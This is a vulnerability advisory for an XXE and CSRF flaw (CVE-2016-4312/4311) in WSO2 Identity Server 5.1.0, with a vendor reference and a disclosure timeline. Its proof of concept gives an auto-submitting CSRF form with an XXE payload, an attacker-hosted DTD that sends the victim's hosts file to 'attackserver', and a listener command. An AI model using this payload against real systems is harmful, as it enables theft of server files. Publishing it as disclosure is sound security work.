CVE-2016-4312

[+] Credits: John Page aka HYP3RLINX

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/WSO2-IDENTITY-SERVER-v5.1.0-XML-External-Entity.txt

[+] ISR: ApparitionSec


Vendor:
=============
www.wso2.com


Product:
============================
Wso2 Identity Server v5.1.0

As the industry’s first enterprise identity bus (EIB), WSO2 Identity Server
is the central backbone
that connects and manages multiple identities across applications, APIs,
the cloud, mobile, and Internet
of Things devices, regardless of the standards on which they are based. The
multi-tenant WSO2 Identity Server
can be deployed directly on servers or in the cloud, and has the ability to
propagate identities across geographical
and enterprise borders in a connected business environment.


Vulnerability Type:
============================
XML External Entity / CSRF


CVE Reference(s):
===================
CVE-2016-4312 (XXE)
CVE-2016-4311 (CSRF)


Vulnerability Details:
=====================


WSO2IS XML parser is vulnerable to XXE attack in the XACML flow, this can
be exploited when XML input containing a reference to an
external entity is processed by a weakly configured XML parser. The attack
leads to the disclosure and exfiltration of confidential
data and arbitrary system files, denial of service, server side request
forgery, port scanning from the perspective of the machine
where the parser is located (localhost), and other system impacts.

The exploit can be carried out locally by an internal malicious user or
remote via CSRF if an authenticated user clicks an attacker
supplied link or visits a evil webpage. In case of WSO2IS system files can
be read / exfiltrated to the remote attackers server
for safe keeping -_-

References:
https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2016-0096


Exploit code(s):
===============

XXE POC, exfiltrate the victims Windows hosts file to our remote server.

1) Form for the XXE POST request.

<form  id='XXE' action="
https://victim-server:9443/carbon/entitlement/eval-policy-submit.jsp?withPDP=false"
method="post">
<textarea rows="20" cols="100" name="txtRequest">
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "C:\Windows\System32\drivers\etc\hosts">
<!ENTITY % dtd SYSTEM "http://attackserver:8080/payload.dtd">
%dtd;]>
<Request xmlns="urn:oasis:names:tc:xacml:3.0:core:schema:wd-17"
CombinedDecision="false" ReturnPolicyIdList="false">
<Attributes>
<Attribute>&send;</Attribute>
</Attributes>
</Request>
&lt;/textarea&gt;
<input type="hidden" name="forwardTo" value="eval-policy.jsp">
<script>document.getElementById('XXE').submit()</script>
</form>


2) DTD file on attacker server.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attackserver:8080?%file;'>">
%all;


3) On attack server create listener for the victims HTTP request.

python -m SimpleHTTPServer 8080


Disclosure Timeline:
============================================
Vendor Notification: May 6, 2016
Vendor Acknowledgement: May 6, 2016
Vendor Fix / Customer Alerts: June 30, 2016
August 12, 2016  : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

HYP3RLINX